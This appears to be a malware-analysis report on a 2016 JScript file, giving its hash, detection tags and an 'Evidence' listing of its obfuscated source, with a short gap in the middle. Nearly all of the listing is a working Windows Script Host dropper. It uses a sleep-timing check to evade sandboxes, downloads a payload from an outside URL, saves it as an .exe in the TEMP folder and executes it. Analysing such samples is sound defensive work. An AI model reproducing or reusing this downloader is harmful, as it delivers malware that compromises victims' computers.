20160328_558403c9c726bc17e9fe188f092ea8dd.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25646702f9b3d4da8aefb2d3131bba21bbf7d687cac01ed2d8f947dcc3191aac0c2
Evidence
1var Ymdmtjoy = false;
2var Sgoisbjhm = "CreateObject";
3var Gtulgwexzr = function Puftqjblxb() {return WScript[Sgoisbjhm]("WScript.Shell");}();
4var Nahoz = 123213;
5var Yleicujl = "MSXML2.XMLHTTP";
6var Dkwmyurg = 2123213;
7var Fjggm = 0;
8function Rkmtx(Zqtufm){Gtulgwexzr["Run"](Zqtufm, Fjggm, Fjggm);};
9function Lrltx(){return Yleicujl;};
10function Xawpjzfkqz(Bkeabe, Qdrjx){return Bkeabe - Qdrjx;};
11function Cknvzdf(){return Sgoisbjhm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Ymdmtjoy = true;
15 @end
16@*/
17var Ytzdcuxxse = "";
18if (Ymdmtjoy)
19{
20function Qzxswzj(){return 22;};
21var Tahleivfvj = 0; var Qiuavvsw = 0;
22function Yfzkdrjpj()
23{
24var Msbxfj = new this["Date"]();
25var Kblmwthz = Msbxfj["getUTCMilliseconds"]();
26WScript["Sleep"](Qzxswzj());
27var Msbxfj = new this["Date"]();
28var Qengdbyvpf = Msbxfj["getUTCMilliseconds"]();
29WScript["Sleep"](Qzxswzj());
30var Msbxfj = new this["Date"]();
31var Fsimkexom = Msbxfj["getUTCMilliseconds"]();
32var Tahleivfvj = "Qdosivckcx";
33Tahleivfvj = Xawpjzfkqz(Qengdbyvpf, Kblmwthz);
34var Qiuavvsw = "Mnddimg";
35Qiuavvsw = Xawpjzfkqz(Fsimkexom, Qengdbyvpf);
36Ytzdcuxxse = "open";
37return Xawpjzfkqz(Tahleivfvj, Qiuavvsw);
38}
39var Dposztzzs = false;
40var Kpcilpm = false;
41for (var Mznfjsue = Fjggm; Mznfjsue < Qzxswzj() * 1; Mznfjsue++){if (Yfzkdrjpj() != Fjggm){
42Dposztzz …
49:5… Dposztzzs && Zaxckntnk() && Kpcilpm){
50function Rbpkn() {return Gtulgwexzr["ExpandEnvironmentStrings"]("%TEMP%/") + "d1F6LWHm7.exe";};
51 Iytikruot = Lrltx();
52 Nosnryuzsd = WScript[Sgoisbjhm](Iytikruot);
53 var Jwvwptdjre = 1;
54 while (Jwvwptdjre){
55try {
56Nosnryuzsd[Ytzdcuxxse]("GET", "http://www.cloudfire.pt/l3iska", false);
57Nosnryuzsd["send"]();
58Bouovdhy = "Sleep";
59do {WScript[Bouovdhy](Qzxswzj() * 11)} while (Nosnryuzsd["readystate"] < 4 );
60Jwvwptdjre = Fjggm;
61} catch(Sjrhpiurs){Jwvwptdjre = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Ehwfbxdy(Zgmcu) {var Txkciy = (1, 2, 3, 4, 5, Zgmcu); return Txkciy;};
64Xuviasy = WScript[Cknvzdf()]("ADODB.Stream");
65Iytikruot = Xuviasy;
66Iytikruot[Ytzdcuxxse]();
67Iytikruot["type"] = Ehwfbxdy(1);
68Iytikruot["write"](Nosnryuzsd["ResponseBody"]);
69Xuviasy["position"] = Ehwfbxdy(Fjggm);
70Iytikruot["SaveToFile"](Rbpkn(), Ehwfbxdy(2) );
71Xuviasy["close"]();
72Rkmtx(Rbpkn());
73}
74}
75